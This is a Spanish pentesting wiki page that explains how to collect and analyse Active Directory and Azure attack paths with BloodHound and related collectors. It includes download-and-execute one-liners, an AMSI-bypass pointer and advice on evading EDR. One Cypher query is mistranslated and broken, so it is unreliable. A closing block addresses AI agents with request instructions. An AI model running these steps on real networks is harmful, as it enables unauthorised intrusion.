# BloodHound

Su enfoque basado en grafos permite visualizar relaciones y permisos dentro de un entorno Active Directory (AD) de forma clara y precisa, permitiendo identificar rutas de ataque.

Cuenta con una GUI que modela **entidades y relaciones AD** a partir de datos de sus *ingestors* (SharpHound) y permite calcular **caminos más cortos a objetivos** como *Domain Admins*. Incluye consultas predefinidas y acepta **Cypher** personalizado.

Está formada por:

* **SharpHound**: recolector que obtiene información desde el entorno.
* **BloodHound GUI**: interfaz gráfica para visualizar e investigar rutas de ataque.
  * <https://github.com/BloodHoundAD/BloodHound>
* **Neo4j**: base de datos de grafos utilizada por BloodHound para almacenar los datos.

{% hint style="warning" %}
Para obtener los mejores resultados, sus versiones de Bloodhound y Sharphound deben ser compatibles.
{% endhint %}

## Descarga o subida de recolector

### Transferencia desde otro servidor

Si no se puede descargar desde el propio equipo windows por no contar con acceso a internet, se puede descargar `SharpHound.ps1` usando un servidor temporal desde un equipo que se encuentre en la misma red que el equipo víctima Windows.

* En el equipo controlado por el atacante:

```bash
python3 -m http.server 8000
```

Otros: [Misc](/pentesting-en-infraestructuras/misc.md#servidores-temporales)

* Desde el equipo windows víctima:

```powershell
iwr "https://192.168.1.110/SharpHound.ps1"
```

Otros: [Misc](/pentesting-en-infraestructuras/misc.md#transferencia-de-ficheros)

## Métodos de recolección

### SharpHound

<https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html>

<figure><img src="/files/FXzLkf5BdPsZVaMIWxBR" alt=""><figcaption><p>Créditos de imagen: <a href="https://twitter.com/SadProcessor">https://twitter.com/SadProcessor</a></p></figcaption></figure>

#### Recolección desde Windows

{% hint style="danger" %}
Antes de ejecutar la herramienta, si hay AV, es necesario evadir la protección de AMSI: [/pages/nYYoo7pyFz6jY0f142tB#amsi-.net-bypass](https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/active-directory/pages/nYYoo7pyFz6jY0f142tB#amsi-.net-bypass "mention")
{% endhint %}

Puedes usar `SharpHound.exe` o `SharpHound.ps1` para recolectar desde una máquina con acceso al dominio.

<https://github.com/SpecterOps/BloodHound/blob/main/docs/collect-data/ce-collection/sharphound.mdx>

#### EXE

{% code overflow="wrap" %}

```powershell
SharpHound.exe -c All

SharpHound.exe -c All --domain xtormincorp.local

# BloodHound Legacy
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\BloodHound-master\BloodHound-master\Collectors\SharpHound.exe -args --collectionmethods All

# BloodHound CE
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\Sharphound\SharpHound.exe -
args --collectionmethods All
```

{% endcode %}

**Versión más sigilosa (OPSEC)**

* Evita métodos ruidosos como **RDP, DCOM, PSRemote, LocalAdmin**; **excluye DCs** para reducir alertas (MDI).
* Alternativa aún más sigilosa: **SOAPHound** (consulta ADWS en 9389, casi sin ruido de LDAP).

{% code overflow="wrap" %}

```powershell
# BloodHound Legacy
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SharpHound\SharpHound.exe -args --collectionmethods Group,GPOLocalGroup,Session,Trusts,ACL,Container,ObjectProps,SPNTarg
ets --excludedcs

# BloodHound CE
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SharpHound\SharpHound.exe -args --collectionmethods Group,GPOLocalGroup,Session,Trusts,ACL,Container,ObjectProps,SPNTarg
ets,CertServices --excludedcs
```

{% endcode %}

#### PowerShell

{% code overflow="wrap" %}

```powershell
git clone "https://github.com/SpecterOps/BloodHound-Legacy.git"
cd BloodHound-Legacy\Collectors
. .\SharpHound.ps1
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
IEX(New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/SpecterOps/BloodHound-Legacy/refs/heads/master/Collectors/SharpHound.ps1')
```

{% endcode %}

{% code overflow="wrap" %}

```powershell
Invoke-BloodHound -CollectionMethod All -v 2
Invoke-BloodHound -CollectionMethod All -domain xtormincorp.local -ldapuser <usuario> -ldappass <contraseña> -v 2
```

{% endcode %}

```powershell
SharpHound.exe -c SessionLoop -s
```

Si el dominio es muy grande o se está en un entorno muy controlado por EDR o SOC. Es mejor realizar la recolección por partes:

* Si se quiere filtrar por OU:

{% code overflow="wrap" %}

```powershell
Invoke-Bloodhound -LDAPFilter "(CN=*,OU=New York,DC=Contoso,DC=Local)" -CollectionMethod ACL -ZipFilename OU_ACL_20250420 -Stealh
```

{% endcode %}

* ACLs:

{% code overflow="wrap" %}

```powershell
Invoke-Bloodhound -Domain xtormincorp.local -CollectionMethod ACL -ZipFilename ACL_20250420 -Stealh
```

{% endcode %}

* Grupos:

{% code overflow="wrap" %}

```powershell
Invoke-Bloodhound -Domain xtormincorp.local -CollectionMethod Group -ZipFilename Group_20250420 -Stealh
```

{% endcode %}

* LocalAdmin:

{% code overflow="wrap" %}

```powershell
Invoke-Bloodhound -Domain xtormincorp.local -CollectionMethod LocalAdmin -ZipFilename LocalAdmin_20250420 -Stealh
```

{% endcode %}

#### Recolección remota desde Kali

Desde una máquina Kali se pueden hacer uso de las credenciales de los usuarios víctima para enumerar la información del AD:

<https://medium.com/@e.escalante.jr/active-directory-workshop-even-more-server-enumeration-using-the-bloodhound-tool-pt-9-d4138f505b9b>

{% code overflow="wrap" %}

```bash
bloodhound-python -u $USER -d xtormincorp.local -c all -v -ns <dns server  or dc>
```

{% endcode %}

Este método es ideal cuando tienes credenciales, pero no acceso a una máquina Windows.

### SOAPHound

Consulta **Active Directory Web Services (ADWS)** en el **puerto 9389/TCP** (igual que el módulo oficial *ActiveDirectory* de Microsoft), en lugar de bombardear LDAP.

Hace **muy pocas peticiones de red**: primero **construye una caché** básica de objetos del dominio y luego procesa **localmente**.

Por lo tanto, **menos señales para MDI/EDR** basadas en tráfico LDAP/SMB.

Al usarlo es mejor realizarlo en dos pasos:

1. Construir la caché:

```
SOAPHound.exe --buildcache -c C:\AD\Tools\cache.txt
```

{% hint style="info" %}
Crea `cache.txt` con **info básica** de objetos del dominio (GUID, DN, tipos, etc.).

Úsalo en varias máquinas/sesiones para no repetir enumeración de red.
{% endhint %}

2. Volcar los datos en formato compatible con BloodHound:

{% code overflow="wrap" %}

```powershell
SOAPHound.exe -c C:\AD\Tools\cache.txt --bhdump -o C:\AD\Tools\bloodhound-output --nolaps
```

{% endcode %}

{% hint style="danger" %}
**ADWS no accesible (9389)**: el DC puede tener **ADWS deshabilitado** o un FW bloqueando el puerto. Comprueba conectividad al 9389/TCP desde tu host.
{% endhint %}

### AzureHound

Conexión e importación: [Herramientas](/pentesting-en-infraestructuras/cloud/azure/herramientas.md#azurehound)

```powershell
$passwd = ConvertTo-SecureString "<contraseña>" -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential("<email>", $passwd)
Connect-AzAccount -Credential $creds
Connect-AzureAD -Credential $creds
```

```powershell
. C:\Pentest\Tools\AzureHound\AzureHound.ps1
Invoke-AzureHound -Verbose
```

## Ingesta y visualización de datos - BloodHound

En entornos corporativos de gran tamaño, la arquitectura de Active Directory suele mantenerse bastante estable. Aunque pueda haber ciertos cambios como nuevas incorporaciones o ajustes menores, **la estructura principal de unidades organizativas (OUs), usuarios, grupos y permisos rara vez sufre modificaciones drásticas**.

Lo que sí cambia constantemente es otra cosa: **las sesiones activas de los usuarios y los eventos de autenticación**. Como Sharphound realiza una recopilación puntual del estado del dominio, **la información relacionada con sesiones puede volverse obsoleta con rapidez**, especialmente si los usuarios cierran sesión o si otras cuentas inician nuevas sesiones tras la recolección de datos.

#### Estrategia de ejecución recomendada

Para mantener una visión precisa y actual del entorno, es recomendable:

* Realizar una primera ejecución de Sharphound utilizando `--CollectionMethods All`, lo cual capturará toda la información relevante del dominio (estructura, permisos, relaciones, etc.).
* Posteriormente, realizar ejecuciones periódicas únicamente del método `Session`, que se enfoca exclusivamente en detectar nuevas sesiones de usuario sin volver a recopilar toda la estructura AD.

#### Cuándo es mejor hacerlo

El momento ideal para capturar sesiones activas suele ser:

* **A media mañana (sobre las 10:00)**, cuando los usuarios ya han iniciado su jornada laboral.
* **Después del almuerzo (alrededor de las 15:00-16:00)**, justo antes de que comiencen a conectarse de nuevo tras volver de haber comido.

#### Limpieza de datos antiguos

Sharphound no elimina sesiones anteriores automáticamente, por lo que es buena idea purgar la información obsoleta antes de cargar nuevos datos. Desde BloodHound, accede a la pestaña **"Database Info"** y utiliza la opción **"Clear Session Information"** para mantener la base de datos limpia y centrada en sesiones realmente activas.

<https://bloodhound.readthedocs.io/en/latest/data-analysis/edges.html>

### Windows

<https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart>

### Linux

<https://bloodhound.specterops.io/get-started/quickstart/community-edition-quickstart>

1. Instala BloodHound:

{% code overflow="wrap" %}

```bash
wget https://github.com/SpecterOps/bloodhound-cli/releases/latest/download/bloodhound-cli-linux-amd64.tar.gz
tar -xvzf bloodhound-cli-linux-amd64.tar.gz
sudo ./bloodhound-cli install
```

{% endcode %}

2. Abre la GUI de BloodHound.

```
http://127.0.0.1:8080/ui/login
```

3. Descarga el collector:

<figure><img src="/files/Eh8Rkjvg2VsCVOgTSkcU" alt=""><figcaption></figcaption></figure>

4. Desde `Administration > File Ingest` se cargará el fichero ZIP con los datos.

<figure><img src="/files/TqlIhfw1SWuwfuPKxg07" alt=""><figcaption></figcaption></figure>

### Consultas de datos

#### Consultas Azure

* Buscar todos los usuarios que tengan el rol de "Global Administrator":

```xquery
MATCH p =(n)-[r:AZGlobalAdmin*1..]->(m) RETURN p
```

* Todas las rutas a las máquinas virtuales:

```xquery
MATCH p = (n)-[r]->(g: AZVM) RETURN p
```

* Todas las rutas hacia "Azure KeyVaults":

```xquery
MATCH p = (n)-[r]->(g:AZKeyVault) RETURN p
```

* Todas las rutas hacia "Azure Resource Group":

```xquery
MATCH p = (n)-[r]->(g:AZResourceGroup) RETURN p
```

* Buscar los Owners de "Azure Groups":

```xquery
MATCH p = (n)-[r:AZOwns]->(g:AZGroup) RETURN p
```

* Obtener todos los equipos con delegación sin restricciones que no forman parte del grupo de controladores de dominio:

{% code overflow="wrap" %}

```xquery
COINCIDIR (dc:Computer)-[:MemberOf*1..]->(g:Group) DONDE g.objectsid TERMINA CON "516" CON COLLECT(dc) como domainControllers COINCIDIR p = (d:Domain)-[:Contains*1..]->(c:Computer {unconstraineddelegation:true}) DONDE NO c en domainControllers DEVUELVE c
```

{% endcode %}

## Consejos

* **Cuando comprometas un usuario o máquina, márcalo como Owned (Mark User as Owned).**
  * Muchas consultar integradas utilizan esta propiedad del nodo para identificar caminos más cortos desde los principios que se poseen hasta ojetivos de alto valor.
  * Se muestran las acciones que se pueden ejecutar a continuación a partir de dichos nodos.
* **Marcar otros objetivos como de alto valor.**&#x20;
  * Por ejemplo, los equipos con delegación sin restricciones no se marcan como de alto valor. Sin embargo, si comprometes solo uno de ellos dentro de un dominio, eres el administrador del dominio.
  * Adaptación al contexto, un servidor SQL que almacene información altamente sensible de acuerdo a la naturaleza de la organización puede ser de alto valor para la organización.

## Referencias

* <https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux>
* <https://medium.com/@riccardo.ancarani94/bloodhound-tips-and-tricks-e1853c4b81ad>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.xtormin.com/pentesting-en-infraestructuras/red-interna/active-directory/bloodhound.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
